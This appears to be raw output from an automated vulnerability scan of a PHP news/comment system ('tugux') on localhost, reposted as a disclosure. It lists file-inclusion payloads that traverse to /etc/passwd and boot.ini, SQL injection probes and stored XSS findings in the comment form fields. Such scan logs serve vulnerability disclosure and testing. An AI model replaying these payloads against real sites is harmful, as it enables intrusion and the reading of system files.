Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&email=on&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
MySQL Injection in http://localhost/tugux/latest.php?nid=9
with params =comment=%BF%27%22%28&email=on&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
MySQL Injection in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%BF%27%22%28
coming fromhttp://localhost/tugux/comments.php?nid=9
MySQL Injection in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=%BF%27%22%28&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
MySQL Injection in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=%BF%27%22%28&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
MySQL Injection in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=%BF%27%22%28&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=http%3A%2F%2Fwww.google.com%2F&email=on&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=http%3A%2F%2Fwww.google.com%2F
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=http%3A%2F%2Fwww.google.com%2F&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=http%3A%2F%2Fwww.google.com%2F&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=http%3A%2F%2Fwww.google.com%2F&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=%2Fetc%2Fpasswd&email=on&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%2Fetc%2Fpasswd
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=%2Fetc%2Fpasswd&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=%2Fetc%2Fpasswd&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=%2Fetc%2Fpasswd&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=%2Fetc%2Fpasswd%00&email=on&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%2Fetc%2Fpasswd%00
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=%2Fetc%2Fpasswd%00&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=%2Fetc%2Fpasswd%00&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=%2Fetc%2Fpasswd%00&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=c%3A%5C%5Cboot.ini&email=on&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=c%3A%5C%5Cboot.ini
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=c%3A%5C%5Cboot.ini&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=c%3A%5C%5Cboot.ini&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=c%3A%5C%5Cboot.ini&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=c%3A%5C%5Cboot.ini%00&email=on&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=c%3A%5C%5Cboot.ini%00
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=c%3A%5C%5Cboot.ini%00&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=c%3A%5C%5Cboot.ini%00&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=c%3A%5C%5Cboot.ini%00&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&email=on&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&email=on&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&email=on&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&email=on&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Warning include in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
MySQL Injection in http://localhost/tugux/latest.php?nid=
with params =comment=%BF%27%22%28&email=on&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
MySQL Injection in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%BF%27%22%28
coming fromhttp://localhost/tugux/comments.php?nid=
MySQL Injection in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=%BF%27%22%28&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
MySQL Injection in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=on&name=on&submit1=%BF%27%22%28&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
MySQL Injection in http://localhost/tugux/latest.php?nid=
with params =comment=on&email=%BF%27%22%28&name=on&submit1=Submit&topic_id=on
coming fromhttp://localhost/tugux/comments.php?nid=
Found permanent XSS in http://localhost/tugux/latest.php?nid=
attacked by http://localhost/tugux/latest.php?nid= with field name
Found permanent XSS in http://localhost/tugux/latest.php?nid=
attacked by http://localhost/tugux/latest.php?nid= with field comment
Found permanent XSS in http://localhost/tugux/latest.php?nid= 10
attacked by http://localhost/tugux/latest.php?nid= with field name
Found permanent XSS in http://localhost/tugux/latest.php?nid= 10
attacked by http://localhost/tugux/latest.php?nid= with field comment
Found permanent XSS in http://localhost/tugux/latest.php?nid= 9
attacked by http://localhost/tugux/latest.php?nid= with field name
Found permanent XSS in http://localhost/tugux/latest.php?nid= 9
attacked by http://localhost/tugux/latest.php?nid= with field comment
Found permanent XSS in http://localhost/tugux/latest.php?nid=10
attacked by http://localhost/tugux/latest.php?nid=10 with field comment
Found permanent XSS in http://localhost/tugux/latest.php?nid=10
attacked by http://localhost/tugux/latest.php?nid=10 with field name
Found permanent XSS in http://localhost/tugux/latest.php?nid=9
attacked by http://localhost/tugux/latest.php?nid=9 with field comment
Found permanent XSS in http://localhost/tugux/latest.php?nid=9
attacked by http://localhost/tugux/latest.php?nid=9 with field name
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.